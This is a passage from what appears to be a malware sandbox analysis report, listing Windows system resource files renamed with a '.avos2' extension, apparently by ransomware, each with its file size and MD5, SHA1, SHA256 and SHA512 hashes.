5eeee04af5d10fb57ae7c7689c711cf36c1d548f05b2d9e4f1d371c553e3d675

SHA512
581447b84a006607dce566c8a37ab3db182ec5320b65c37212817d6a733f6d40fd8e7c4f80a3711ff30beb9e7681b8c318fb4b4f4fa37e347c5ba2f53985566f

Download Submit
C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui.avos2

Filesize
3KB

MD5
6381c2d09eefd207b45da409fc5e4da5

SHA1
25ef92045b1c8a17b0c9981763cae785f74c96b0

SHA256
5baafb2140294d469b602cb5a168e5d77b9bac5d532c6ecb4feb97d541bebf42

SHA512
67388606a658887c7f1eea12380b7e1579f4c6d52c5e51eddb88554910d965e67f1ed357892f51637138e49b18925e6817abc6a0dafa94e420e76f4e1c917e45

Download Submit
C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui.avos2

Filesize
32KB

MD5
acc37c437ae6e494520b407cd2a9f5fc

SHA1
a7f72f2b5976cf02f263f18b58bdf2273ddcc740

SHA256
3bc1d4a1c21ccdb57b096416f01d14485ef7d058fe3fb49d59929cfc0ba2dce1

SHA512
7114517cfcfdf5710c0939fb9c369d46c6b83a94c727cb8b0af5a700abff10472f5ea1113fb7f0a28cf3df3c4c402c6b8aec0fadfd1fef1af55202dcb8f7909d

Download Submit
C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui.avos2

Filesize
3KB

MD5
b50eebeba524ad619ee6ce9613d85f6f

SHA1
2833e8cc6ad907d1d98a462a566da7941e9c88ca

SHA256
994fd1c0a5a4e013a00821b7111bc8d8b0e40f68ec674a22efa4d74828ff0046

SHA512
d7bfd8e96c1739842c82b0466f53d6271b53afa2229c4822434604b34eba338f0d5ca90b4d2861dc7e0f278c554ab23ef5054f8b4582f70a126fb53aa27214f4

Download Submit
C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui.avos2

Filesize
57KB

MD5
ae1fc67236e287b8eca286504fcff88d

SHA1
662b73c5e83ae74587e1320a4292425ba84d4509

SHA256
b75d5f13183246f40555e96175d10c5daf140a65cc2d3f47b8c17bbf85e60d15

SHA512
27705e4b342c5a63fbf93818f840826d21f662809fc7aee7b9f9dd19a7f1384862c07bc7b375f965443f3d7b454d50dc78a97229d3128def1fb9f87be80447d1

Download Submit
C:\Program Files\Windows Media Player\de-DE\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
994af658e3e937925457ac2fa23071ab

SHA1
3fed8a5dc636e80178f97d78aa8a40c298b16c4d

SHA256
d5f56f8dea45fe97d25d27b934fdbc7969d110f34018ab726772e88268255ed6

SHA512
6d3f0ab2b5920f45962802f3925cffacc46850fc1318fe17e8eeb5138218483a46b66adb733b1044ffa3a2643813957cbc3cd14884f19387bf349e95e76657b4

Download Submit
C:\Program Files\Windows Media Player\de-DE\mpvis.dll.mui

Filesize
3KB

MD5
68d06730b8d0a50ae621e5b3bc53067c

SHA1
9b1b41e13cefaf2236b937159e4550dbe89d9d37

SHA256
e99062dab3953e38fceb628c35db09a552fa9ebe912186b944913fd7adb20722

SHA512
0f99ae3ee1e79aa78691885d751c463e62007e9480cc81d45912b3fca12e7dffa4d633201ff41afcfc56e41d525c184155641319f96863869b927fbc51c4699a

Download Submit
C:\Program Files\Windows Media Player\de-DE\wmlaunch.exe.mui.avos2

Filesize
3KB

MD5
b25ed8bec2df8613a2396c6b4ad1d8f6

SHA1
29cb5be4bb374d453dfd2bfb9699248c4451b8a1

SHA256
f9015fcd30b60fe5ab6c482e82e91ae39196a7482a8200561892a8488883398c

SHA512
855ab69c797f52270c2f1f4830eb8490fb54018019a6da9b4aecafec3d2ccf6993a77b71464083d6e5e8fe5091ba7e03efdf5c23adf0e81d59b379916ecad8d9

Download Submit
C:\Program Files\Windows Media Player\de-DE\wmplayer.exe.mui.avos2

Filesize
3KB

MD5
ea32464122fa4b5a73bf732321b0187e

SHA1
08c4c34f8bd5970a9870871d39023c47195ffbfa

SHA256
04ec0f2ad8c68defe4ccd42abf77b6e186a4d30eddfbc81fcd36584e8c4c618e

SHA512
9ea53d00a27b0ca437131b31972d757f6115ee54a67493f888a4db8903d876713cc73a159da30c729ef507c662d3b62d7beb7fcd00cc219ad8dc74187ebfb533

Download Submit
C:\Program Files\Windows Media Player\de-DE\wmpnssci.dll.mui.avos2

Filesize
5KB

MD5
02e49305324a8a47b80309ae062fb2f1

SHA1
616ccd7ba91424487da53c791c450865a34af818

SHA256
7e1392b40595cb5d9de30a539bd13f267e06925cb7c978a84af61817992a85c2

SHA512
d29b339d469335e9f800a4e438d256c9326e2593571b27acdaf3fa66caa8632565631f89077843bece021dfba076a5a9cedcfc01560da16509fee54f3ce7aad5

Download Submit
C:\Program Files\Windows Media Player\de-DE\wmpnssui.dll.mui.avos2

Filesize
3KB

MD5
45fb49efede23c266aee901df96ee5ae

SHA1
eb0533ad1f5bc2ea444e205cfe71c97be7ab7ba9

SHA256
41d72fc6b5e446d675857d9a577cdce486a9d1b96b7d9017025fffb8a11e762d

SHA512
12c49f11f865487991c8f34641718b1abb58bce98391884009476e173a19fe9116224db5360edc2dce37dd8e934d32681ce4fe0598f6ae76c3ec844631a24fd2

Download Submit
C:\Program Files\Windows Media Player\en-US\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
7cab0ba497f2beb1e6ca706938e20d56

SHA1
3389dce0f3febfcd5d520549ee3ba0610bb5e185

SHA256
3779e0599334523d606659752fb02dc67d8ee7acf39a4652e2a43a253f710bcb

SHA512
f55e8bac04b7ac62da53017f60498d38789a0309e111d8eebf3bb947cc5b8dfd404c1ca495db2feefc215fc25da42defbe3bd90f132a94e73c5431bc72637d95

Download Submit
C:\Program Files\Windows Media Player\en-US\mpvis.dll.mui.avos2

Filesize
3KB

MD5
236d8af29e5c0a0ac619c8fa67c11576

SHA1
e45ecd9f53cc7eddd0cf505dce9388864a4b8881

SHA256
422b0df28ce6978e9f3e1fa42e457193baff1d8c930788081a03460fd5177c69

SHA512
d89c74ebac1409b726aa292bb66407d87687101edc83b99e816d5552d6ac4dbcc549f3077afba4d757046e9cb3dd754e7d4ace4ca98ac804bac347e04ca3c1ef

Download Submit
C:\Program Files\Windows Media Player\en-US\setup_wm.exe.mui.avos2

Filesize
54KB

MD5
82f258acd5544229266d1c9124eaad95

SHA1
b2c0a1432edce239719f341d2387384a8b767e4f

SHA256
ec76ab74df2ee167dec22e11801085c093152c3b7201ced3039fd852d7cec927

SHA512
0249c78bd6923df8650652fe774ed72d98c46bede6faa82f00b9edf2e88aad62bf504dcc8480b1a0db85b2d6214932e7395e28bf687997e411ab0472eec647ca

Download Submit
C:\Program Files\Windows Media Player\en-US\wmplayer.exe.mui.avos2

Filesize
3KB

MD5
2b07f46285d8e1392f6362934d55d27e

SHA1
f58a8cbbc840abc6f6818f047fae46009174a3ad

SHA256
1b86f3f520dc55664c45758eb18159ad8698560e62a42ca2752fd0c53c85076e

SHA512
4027060471fb92fe09d15fde2583e7c0a028b428b1d42bcd131ef1bf0bcd122fda614b42f671a53e7d70ada485e7964f665271335877fca89adc3daeec0a2fb1

Download Submit
C:\Program Files\Windows Media Player\en-US\wmpnssci.dll.mui.avos2

Filesize
5KB

MD5
f49908a3cc90e71c1f6aea48a4c5a419

SHA1
7fc3599c1515256af8cf177f85002f7670779ad3

SHA256
d22e821639ba7e1b86d4d2b38b14012394c7a2a2e68eb9baca8dc2d59619b659

SHA512
95b8f76ded790888b68b79464f58c032d17f1d69278baf41bf405362f4cb6c0ea4b647d2c37a096b8977564b1893dd84931e5a5034a135207c951c3e64cdb3cc

Download Submit
C:\Program Files\Windows Media Player\en-US\wmpnssui.dll.mui.avos2

Filesize
3KB

MD5
0c257e4ff8d97cf7ba8be19815efc8ca

SHA1
76585d14402bd2ef663d24471f2487e3bf45da27

SHA256
f565dfe7d7dbba33932218d3561901bb7697e3224d2e50db0037f6944641e571

SHA512
4456932a6d3ef5f110c57b7443a182b8c55e79ee302e3f2d3f95c01a5e6c3d837f45e0c1e4b3df4772c771ca151d3ab0b290d47fd498837223b87954122ca112

Download Submit
C:\Program Files\Windows Media Player\es-ES\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
429ff36b0ba9c8e1599cee1a48e4c0fe

SHA1
3d17ec6a9a1f0e510d8b47d201fd17195b0bf7f0

SHA256
9aafdb8e37edffd2bbc1750b97c963cb94e77e1cc821b6f22512c85f56cd2560

SHA512
919eda6e97f48315cfba12622fc9c8955f50abf6d8350218e282ee18442233571d9a7561426efa63c4bd7c5042b076f096d1eb80beadd7092511da5b57e3b965

Download Submit
C:\Program Files\Windows Media Player\es-ES\mpvis.dll.mui.avos2

Filesize
3KB

MD5
16da4d7903f3d900eefbb29253fd2517

SHA1
1b33ce32011726094c48f508cb5981331a2a09dc

SHA256
1c044edaab2911aeef5b23638303bb5a48938856bb832e378d26cdecaca20f03

SHA512
22004e1b12dcb283f849eca412f1b39d37d473637ab6d4ee17b44d1c112fa9765d281bf1ecaa91fb8a6d0a1470ea1e6dd11c0107b2a60c1710f384bd381556b6

Download Submit
C:\Program Files\Windows Media Player\es-ES\setup_wm.exe.mui.avos2

Filesize
62KB

MD5
aebb035fc2c2eee29fdff25ac0e4346e

SHA1
f5f8f45abbfd1e59e8f34ea9eb653b64b1b98a8f

SHA256
a61925f2bdbc41db77695aa8c03d99a9689781d40b93d83feb107bea8f91da8a

SHA512
603ea270963cc42145d1a819c7acc020dfbed35480412d955d27e24008944aed0ad841384fed28cfbb3f21036b2e2c20886c503432a6f4f41f27f2d2ea203a41

Download Submit
C:\Program Files\Windows Media Player\es-ES\wmlaunch.exe.mui.avos2

Filesize
3KB

MD5
5c7f85e9c9d2f12ebf6ca53fc473fb4c

SHA1
26c40432d6f4179d7afa18412bb9a72aee318e97

SHA256
e1f0dacdd6ca4990b7d53c554b7cde9bc367599f118e789ca2645742273594aa

SHA512
e6e2d412285a921d5190a1593e14e16128977e0a611d1fae3e53c5364629201c8303f25d4761ea267d374abf5b62dbfc921fcdf8c20afd05287237145114a749

Download Submit
C:\Program Files\Windows Media Player\es-ES\wmplayer.exe.mui

Filesize
4KB

MD5
7636a981c9e8a42d8c9ff2993fe2d679

SHA1
7fc87ac9639c23e04438a1ff4347c1ef7829f1a8

SHA256
9ca63629fbbe65edff104adbba8e0cb0062b3ca08b360c467c4fa17561b60e58

SHA512
c35eaaba33e1adeee8e24f430916040092e5d8571624f52ecd952d7e31e695198f8a957ef4b12c092c59b89f5e5620e3148d0cc19a7eb8070623504408c143bd

Download Submit
C:\Program Files\Windows Media Player\es-ES\wmpnssci.dll.mui.avos2

Filesize
5KB

MD5
782863fd22a24e38deb99ff2bafa188f

SHA1
a943fb8fcd6c682cd5b7a3758169fc25c4862c36

SHA256
c0f7a70f00cf101c8cc347591e1948e67ba3fffbce91a4835dc44e8864afea96

SHA512
c2597ac20d1fd3b942d3fea39ef01e54e7a5f8c9f654ed941b5a3f640376a0657e22d0945d52c1f55b58b3d745bfae8dabaeb148c107933718cf3e5e8ad08632

Download Submit
C:\Program Files\Windows Media Player\es-ES\wmpnssui.dll.mui.avos2

Filesize
4KB

MD5
12139a647923f6a5855f5beacd42412f

SHA1
f851eb82bd9a457f92dce75fd7cdd0ea32f0f79d

SHA256
68c5fb5eea77524ab5c7dc8e67ac65fe3ddeccf3ea53ee4627b068c6a42b931e

SHA512
5b6767891904be34ab8c87289bd1fb3af262b59d8a82a1cf13854df6174668fe8a0cf422894176ae4d96cd08799264c887a55d348ae8db85c7991f793d3610fe

Download Submit
C:\Program Files\Windows Media Player\fr-FR\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
cadf952c29535ccd05385c3d197542da

SHA1
f107011457ab5082fe2e0ba0f2ec8337e39f7015

SHA256
c770719e0cc91cc65a764ce9a0ea241369b2b32ef4c31b3a916214dd564875cc

SHA512
3c44492c27e4ce66ab742f1e9b422d2c17946a9fdb5fbe97cdf9ebc045c23f18710bdcff7c92b7c297e342ccfd2e1fd0ec760151b5b3aedf3309fdb9805812e0

Download Submit
C:\Program Files\Windows Media Player\fr-FR\mpvis.dll.mui.avos2

Filesize
3KB

MD5
a75f552c4d819c69fd020fb55da666b8

SHA1
23cec9cd2cddcc309736d2ccc96a3b91cc851d14

SHA256
2abc74d8cf07ddaf2219e27d81ad4e56e557c6bc0efa0333e5c985fe199592f1

SHA512
8dafc1b0f2c6ab4628daeedf3adc02a75264447c3440e9bb51bbffdea405aaa0ac552b1fa4417fc653e7783f1be5a05377e24ce3d47a48978c71a58e6b8afb83

Download Submit
C:\Program Files\Windows Media Player\fr-FR\setup_wm.exe.mui.avos2

Filesize
64KB

MD5
cc015ae73c58bf4b3b2e0cf97bc19cdb

SHA1
f8c8b467da95f3bdbbfd34c5308d789514c62f36

SHA256
8a480b6954e9e920cd59b42a97fbebc85ddad8c26d648dfa852716a6a2e92df8

SHA512
c507d9ec0e2be7286b769d32eab084f24d2395698a7838b1316ebd4dfe3b755b8b407765a904ec3e4a9cf43ccd6e517c19b8742687df5a05c2d96d4b7186486a

Download Submit
C:\Program Files\Windows Media Player\fr-FR\wmlaunch.exe.mui.avos2

Filesize
3KB

MD5
8baa076225f7e44368c75ab4ceddc45a

SHA1
498b46bc5c102f0bef413cc2fee27f25c3116d96

SHA256
9e77607ef306e3dd3d2d279062127583c179817c3f30433f1eed49ead33a9842

SHA512
689ffb4ce8c19907785a7abd8d0d0229e6d25ab20f401b3565b52a4a9945d652055ebfad45d2a8f314b2b991c0c37298f383b5e3055586637dedcae33eba3710

Download Submit
C:\Program Files\Windows Media Player\fr-FR\wmplayer.exe.mui.avos2

Filesize
3KB

MD5
2aa976fbcefc65f0b8240e8a35f40480

SHA1
afe288b61407c68eb29062d03e09241e03330eb5

SHA256
97ce815147ad18b579419e0ee569e5f1b1fbcb6c1d2a04a6a6b7c76d3ad49780

SHA512
aec77a07ff28e5ca10da908c0cb16720e31e34ae0d39c0e4b682039f3ff28fdadaaf324ac44450929782820dda5c224f585cae0dcff7f5a942af1c3073dcd86c

Download Submit
C:\Program Files\Windows Media Player\fr-FR\wmpnssci.dll.mui.avos2

Filesize
5KB

MD5
d6e2422b3a8a240395b64ca91c8e2dac

SHA1
ef9b9a365e0f035d506f2a052833b6c4cb24cc46

SHA256
3a9610a0d0a33ea210da86668bdc6ca5b52bb61331ac751fdce22444c49cd566

SHA512
9208ebe70f3df1e7f32e3c3873fe72a0525e2bac56caa80b34e26c94d9f9020a083bb5769b5d032bc39188b7b3ae03cbe51caf5908b1a79c62506de548adbcbd

Download Submit
C:\Program Files\Windows Media Player\fr-FR\wmpnssui.dll.mui.avos2

Filesize
4KB

MD5
2514cef6ba9e69feefe9cd00bac477ba

SHA1
be43fc6ccce24de0aa61fd60549ccb45931f3d02

SHA256
ebd3e9b19b20178075685720260650f0a4c056877961fd8d620c295eeebce027

SHA512
ea602caaed5fdb279a1fcf4dfca543ca8db53091c218458133fd54effe2a09bd883c67a53dec544ae8053fbf248ee0e49b8f44edd81255f99c1f30d6929ca874

Download Submit
C:\Program Files\Windows Media Player\it-IT\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
d49be7e9d3fdb0eac6e5ae99a0c53b55

SHA1
63d4fa755ecb031da4c19b50fc64c9994708731a

SHA256
66a32b78f467a4087ec0afdd43811506a779dae7d3b079868adca1e55b3c490d

SHA512
947b7a3a731fea734d83cd2d48ab4f7d4937d6d0d3cdc521da2c525242e7ac2411374db2089dfaabaf421be4b732c9a9c9bc96a9572a44e82551ceb1b15b1aa5

Download Submit
C:\Program Files\Windows Media Player\it-IT\mpvis.dll.mui.avos2

Filesize
3KB

MD5
fa7fef0369b0d2001b1c6aed85c9ab12

SHA1
cd2a3878db0f515ea73e2111929f9eb09e069720

SHA256
3064072513ef5f87bd56ca196d968f29508ecd54a07c12b81c393cacfec4de15

SHA512
36f6a03d6bab74847b0805a4d3ef30f8f9333b74b32eec0efb539192568d35829b30d7b315c7b042f96cb3e0f540aadb0078471b8ee07e7454ecd9364664d53a

Download Submit
C:\Program Files\Windows Media Player\it-IT\setup_wm.exe.mui.avos2

Filesize
62KB

MD5
b778ef7ef170173c131a288ff60ad466

SHA1
f11543737a2786d64e4457526b3c0f20efbffa7b

SHA256
14bb765910495b2dfb60f3a5296b5e9d2a642740c2b0d722b1b4ec452290da58

SHA512
0d9a4cedb1d4dbc75d726d91d3d3896f42fdda677ecfeeb5c1e6e879154993ff7d6d9ee80d992d3f0f6d12309756fe9496cf70afb38d9b1fec53492dd136ba5c

Download Submit
C:\Program Files\Windows Media Player\it-IT\wmlaunch.exe.mui.avos2

Filesize
3KB

MD5
f84a44bfea3f537948f6999ef1cc0cf7

SHA1
14a1467de5bb4d49072f24dd9d34da36693c3d57

SHA256
db5fade76f9d1e6394d2046c4f43458e628a8ed74acce56dc269c2c764f65b99

SHA512
7c34def07d926e92d79072eeb3dfb4262f196089bc47a815efe7533a27bc59ecb933bfd8f4132c5d43669449ff8f60072e7fe85d50ec1a195b0a0becf6360508

Download Submit
C:\Program Files\Windows Media Player\it-IT\wmplayer.exe.mui

Filesize
3KB

MD5
27ba926ca57547b7da6add14093396f0

SHA1
50dadacc385f4d9355abc7ef53aee7c87e0e193b

SHA256
c62e20c770209462dbace894d5439628e3d27788302a13c9a2f3effb5acabb60

SHA512
3f70b6bcf8bacbcaa51bc781028b0e161ae3bb95521d1a1777486b7a172033d1560abafea99a1bb66b6369eece98bb56702337b224855b920125264f664f785c

Download Submit
C:\Program Files\Windows Media Player\it-IT\wmpnssci.dll.mui

Filesize
5KB

MD5
36a4ab89483cb2ca4fd993ea9aead5da

SHA1
1910c73643cc08d23f12bacdfd1481ff6259a69a

SHA256
5291af0eaa80c32fa0489dd893b9f3f9fcfe0d63e66f46caee1143f1b797fc78

SHA512
29e8269e675bf95bf9353e0e2bfce539fbf33dabcaf31bc170379ebe0f81acdf706c47ff6d073eff0975721b4cc103604355f63583b82e922a0fa37ab6d9a434

Download Submit
C:\Program Files\Windows Media Player\it-IT\wmpnssui.dll.mui.avos2

Filesize
3KB

MD5
1f69cbea6708fcc69650ced9ff9cbef3

SHA1
6015718a3ba36c5df626c3dde7ec1e303f7095fc

SHA256
93c7845756d007cdc28f49bf15381cb31e19dfce26b41c34a6c1d2abbbeaecce

SHA512
5ea463382cda4967439f287fb5217c8831a0e7753129df4b45445659d460b3caa792040ebaf59e2aed4ec69aaa0dda1f721e5efbde1bd37c747eda5d2277673d

Download Submit
C:\Program Files\Windows Media Player\ja-JP\WMPMediaSharing.dll.mui.avos2

Filesize
3KB

MD5
9095efd2012ca318a70dc2f59205097f

SHA1
c4087f7d39f214ea235729ce425bcfcb2a576ff6

SHA256
399f60b7f6ccef1a8df742cfad7504c1f42e8bc75593ff1cbc4177a97bb95e5b

SHA512
81e0a0ffb9f8e1bc6ee9122cc318e4315a8ab0f5aecc086e20d96a4eaf465c5779c37a9b4b666af1819f7f1cee12180e0a299365e3142ab498acae65aad2114a

Download Submit
C:\Program Files\Windows Media Player\ja-JP\mpvis.dll.mui.avos2

Filesize
3KB

MD5
c398ece3df71bc38c39716509df6fea7

SHA1
fa898dcb4943becf94b0b32cc616262f3017d60f

SHA256
c817481901b8fdfb5b2d3d9b29c3c6368c92e0905a5a3354152a139250de1cc2

SHA512
52664d71156adf7e8f1acff580978c8c4b663c3db61c9aba2686c3a6ac95af4624bffe19618bdceb8ebb3d44bc766d46a6c7357d71e2eb46b16a3f7f6f839ab9

Download Submit
C:\Program Files\Windows Media Player\ja-JP\setup_wm.exe.mui.avos2

Filesize
40KB

MD5
5b6ff4641d4c5c37bfee80c337cd5da2

SHA1
fd080721b969518bdbc972a8da5e64c9e6455220

SHA256
b2220d7a946d275216e2139d32d2b4745fce12ebd791f45dfb96f1f3953e9cf7

SHA512
0248ee3658a3ca0341bb8095399f7913142d3c94babe3bd6348e8c2eb42bf9f2f52c251792826ac0bae336b8968baed8210e68d7c7ae3f1b7d71c476a82b20ad

Download Submit
C:\Program Files\Windows Media Player\ja-JP\wmlaunch.exe.mui.avos2

Filesize
3KB

MD5
7e989a492fe8a42c696a0609519ca506

SHA1
345c0a529725af1ebb374e0371590e0877f49141

SHA256
16bde0f85eb8eb081a8eec5bce8c0a46e45d54b739196ed336548a12045d5bfb

SHA512
b83c93eb8081d5dd5989c57ab5f62b4d5410a3f25a4dde435fc1607da82e0abf5fb1634f950a900aeabe2694123f0cacd22b3b63c3d05b0746b634273afb896d

Download Submit
C:\Program Files\Windows Media Player\ja-JP\wmplayer.exe.mui.avos2

Filesize
3KB

MD5
cdb0dd4ff407228289305e968f7101cf

SHA1
43043d429de4b3b32e0f8f6d772aa478cb16e4a7

SHA256
9621969dbb1306c8a2872084ce01df51f43bfa52f62ac96c46bbad1d8ca396fe

SHA512
16013311c10ddb5433a6fcf1a999a4d8b2e4d2eb93521a7c5ae766d16c3e301572fe136f3024f006827d6b7f5350547467e56c952153c5b4f6d49c427dad871f

Download Submit
C:\Program Files\Windows Media Player\ja-JP\wmpnssci.dll.mui.avos2

Filesize
4KB

MD5
47d1c7050a8957c35d93d5988a742e4d

SHA1
fafdbe7f382b576a68fc9de7d164bb9896a19154

SHA256
2c0dbc071962593b12d72235b18a3353bd4b33f2fae840cc5110990182674b74

SHA512
c2d08550b81dbfe26fc97e43687f375c8d70aea9b978fd7611178f6e729c0eb3690f06dbdbc3149fce54bd781c84d051779409c1d013f652adaa13bd3079b821

Download Submit
C:\Program Files\Windows Media Player\ja-JP\wmpnssui.dll.mui

Filesize
3KB

MD5
5a866806011ea4c94a6d7a7c48c69043

SHA1
f295e81ccbb37a0c9ceb88ff1968eb6619bc8cd6

SHA256
a85e31d86a80b1f7af827f0da3e62dea550f59a465e0fbafab98f84183d79d16

SHA512
5a77eda435f32eea6f9516314491478fcc2adaf6cf3178375d92aaeb3befc07695be607a446945547008972df765a4e64074beee494fbc1789d331df13484cbd

Download Submit
C:\Program Files\Windows Media Player\uk-UA\setup_wm.exe.mui.avos2

Filesize
57KB

MD5
88f89daf30eb4e9d208a5ce57b8a0e3e

SHA1
1f268beda7ef4370664ea4fe0536762c1b5e19c4

SHA256
6f95d9d7073b4c669c95a1acb4e65a789fb6a045fdc24d547e9a0075cbfff2ee

SHA512
b214167d691423777685918b45661e2a4d2b02b05c1463406fcc4c72bc4afdbe63848085f2b260821137f4b9dde5e032a4305b13893baa791f53a15475872ea1

Download Submit
C:\Program Files\Windows Media Player\uk-UA\wmplayer.exe.mui.avos2

Filesize
3KB

MD5
697dc3bcb8fdce0899475629d0dbb96d

SHA1
00aa978b92de95653efe580dcf25f7b4be9858e3

SHA256
c97225d7f4870d09394785a8c363d87608243fddcd61f91187741d3e6a992166

SHA512
6d20d8ca1e68e917750aa2c917428a07ca7d71f54dab8495c280b95d2cdf955cdbbd7b59d27e68c6a7160e0b2af553c49f80908b3b24aa46b121809b3e546d66

Download Submit
C:\Program Files\Windows Media Player\uk-UA\wmpnssci.dll.mui.avos2

Filesize
5KB

MD5
29a11d5538f498edb91d73ebba2e580d

SHA1
9ccf923fc0fe8e03bd5d4f943266543d212817a2

SHA256
5c223e104bb2d1cdf36aeaa705b2af54038c3ae98dbee3a69b7a6e441a0c0f4b

SHA512
b147527523df8028f38fa212233ee345821aa7bf24ae50ef27030f53bb8d77444511cf3caf96bccfe4063d786c286d70698defb51ce50e6c848d130e45bb4872

Download Submit
C:\Program Files\Windows Media Player\uk-UA\wmpnssui.dll.mui.avos2

Filesize
3KB

MD5
f9d647266a9f0cadda3d926375d04b01

SHA1
cd8f5d1c6482e371c3d373725794d29143f93970

SHA256
4f7a854737ee9b8df07490413aa5b64a0ff556c06996a324d540fa55640a6b85

SHA512
bd5ff9efbd72b7e11759389e5e46bf7b00c7270aaaa03feb3433562a3fc5170f905da8a0d9223d27a2b80191c60e82bcbb42e4769f07f7f98351b0a558cd6907

Download Submit
C:\Program Files\Windows NT\Accessories\de-DE\wordpad.exe.mui.avos2

Filesize
163KB

MD5
49e2aad1f3ad1a94af6530b4097c9ed3

SHA1
99913563daef945e73bf995901a7f1f2a5a6febe

SHA256
44b2da960d7caa4352512eac92a5a2319cbd03532584d45e1dc387c2afed228c

SHA512
00b170f88e018dcf54495104f91c8f5009158c181f7bb1946a8cc0d506625d381babe1ee203ecb3b78b3eaafff1f48766596da57e1f37c1b31e71f33d6217484

Download Submit
C:\Program Files\Windows NT\Accessories\en-US\wordpad.exe.mui.avos2

Filesize
50KB

MD5
6af1dc1e965c83aaa7c9321c1a2ba84f

SHA1
f4071243c5cb8b1ba1802bee1155d26f4d330590

SHA256
0c360d63402ed334ff90b4c0296393ed866516121ead88c0ec34bd1ce114a9c1

SHA512
d2cf50c5fe01e674c5193b364b73631f1b3a9c17cfae114d99d4dab2f68d4f69cd4eb663514d479e2f6dbec31f981743031aff375d70dca80644819be60f42fd

Download Submit
C:\Program Files\Windows NT\Accessories\es-ES\wordpad.exe.mui.avos2

Filesize
164KB

MD5
e0dc18e1ca4ea308f61adb35a463fbf0

SHA1
9000622087c57fcba40103216edb89c4025ed83c

SHA256
8881d5f8276acd77164fe3f1bfd266d57edd5ff851a98cd9ba8abbf8461e7736

SHA512
28c7db8c31db41a4702eb0a53098bb93cd2b7896ca1bb17359414abee2f67cc8075963fc09cf7504963b2a057abff1b93697e5552a1fe813d86ddbb90e841241

Download Submit
C:\Program Files\Windows NT\Accessories\fr-FR\wordpad.exe.mui.avos2

Filesize
164KB

MD5
1856343050593108257b352198758aa9

SHA1
f2e77ad719b55a1604418f46f21c86a858b72503

SHA256
7a74f0fe0ec86ab93385a21b87c92987f254aeaddf855a3e36491720d33b1f6b

SHA512
0e73f161b28d60f174d29d3f1bc65204b2febc9f3b2087f3f6e0b8d717ce0c41b33123d803a8653d7c07a45d6cbbb44076effc5d74d01aa9e89a8d8e48999d18

Download Submit
C:\Program Files\Windows NT\Accessories\it-IT\wordpad.exe.mui.avos2

Filesize
164KB

MD5
c06090f8786c2a7144528ef1fb3bb221

SHA1
a7b073416ad38897f4b99ab5214b0ec2561e2a9a

SHA256
0c30c01ec2526ae893053358118fcf41a570f92638bbff80d6f66d84f0238b07

SHA512
a48e6ea9472e729b82864415898088be793ca3dc3666e68e1279a57fe8cf99ed9a4da3ed65eda4cc683117d5deea20073dbe862ac0078b31cc0357194bbab305

Download Submit
C:\Program Files\Windows NT\Accessories\ja-JP\wordpad.exe.mui.avos2

Filesize
151KB

MD5
e541ef2722d3fa152d693a7c0ff8299b

SHA1
77796c22a688fc269c670a40b9c21886d1003810

SHA256
ff492a2080df85c9281850b77557232024aa69a88a6d64fc7eba196c77e97100

SHA512
c32d601f1a70979bd6fecf2d02760959a9f0f030a3c0ae48e2418fcd6efd044e7f7b9c31b6fd9b3ab09ed529d1734ea2809380a021fcee6fbf9e397e3ab8cd02

Download Submit
C:\Program Files\Windows NT\Accessories\uk-UA\wordpad.exe.mui.avos2

Filesize
53KB

MD5
d8b45c90c339cadd949dcdd3097cd568

SHA1
3407449a287f9c16ee391ffba9a744f2575e1df5

SHA256
68308f697fe226f10fa0fa2c0e26a82d65a5da163f3bb009677daffc13c58e38

SHA512
341c1e596a11610b9ab07dc2bb69686e79e3105a2e2afee57c05c97cd982ff17da73c744ede869f6d4fb6eb49226d010a8747ba851df4f9cf6ee208ae7130fe1

Download Submit
C:\Program Files\Windows NT\TableTextService\en-US\TableTextService.dll.mui.avos2

Filesize
8KB

MD5
6cd6d8569009d0a915ac2b6963c14402

SHA1
0a74c53a7beaa42389272762ab9dbbac5e07e7f8

SHA256
3afc4766c31ee86146163abef0f08d2d24fcd36943635009fc6f152314d1bfa9

SHA512
5b02d06c4715e40c6f255897141bc5ec690ebcc0dc7fb5ce567b7539237e3dce573a40fc6414385748ff58e6b630ef05eaaf127049455b7813c2ac7493020b25

Download Submit
C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui.avos2

Filesize
18KB

MD5
969987796d7e1797e21d706a38f9e9e9

SHA1
3c99ef72181817f3cfb58fd0429bfdf17eada3d9

SHA256
f46142834d2b546663d2475ccc7ac6474345802770d454804a0aa3fe0fb6d324

SHA512
e9d128fdc8a97d8b24286d97bd89086c81ef3c0eae8c895d362e46df7dfa27bf01525de6d75ba926f61429aa3ab2474e4ae5fbe7f5ed1a4f9894895c9701d590

Download Submit
C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui.avos2

Filesize
16KB

MD5
3f73a6505640883c9d0e8d7a97bf2490

SHA1
0529cc35c5dbf70e8d10093cf23a3b35f662ab8a

SHA256
db89c7e3b320acba503a92fd0a4e0b45c7f4413167f775f980c984085dd513af

SHA512
880dd705364898abbb58ca237dc5285e5d993c681c94a26f26a8b70307cd806d27386b1263183f389d1bad87936b73b581c4ebfd6972e9285c8d1f61275472f9

Download Submit
C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui.avos2

Filesize
18KB

MD5
9d6c66b836bf23b45e6d17994b840920

SHA1
53ef46040c016a1087f8c5596da6c6cf74da23eb

SHA256
d5c3a6f9a8de78dcf8c5fdd30c3f42026ac2d7f96fec2476bd3ede0b24928bcd

SHA512
e9071c6ddadb79f5a658e09cdd2eb15eaa875e8fb00b15c2260d9143ee32ce8e122a09b33de65067a607b25fd66c7d38775a09321ea129bc01430af67d94a6e8

Download Submit
C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui.avos2

Filesize
19KB

MD5
9d267b26b620e138039fc627a97db35a

SHA1
da42a953f3cd2dd21949b146222163e5c5f3fe6d

SHA256
670afd19c1ca6a63c6918d4e7113f021275e3a9ddbab3f0a33b3db847bf78e3d

SHA512
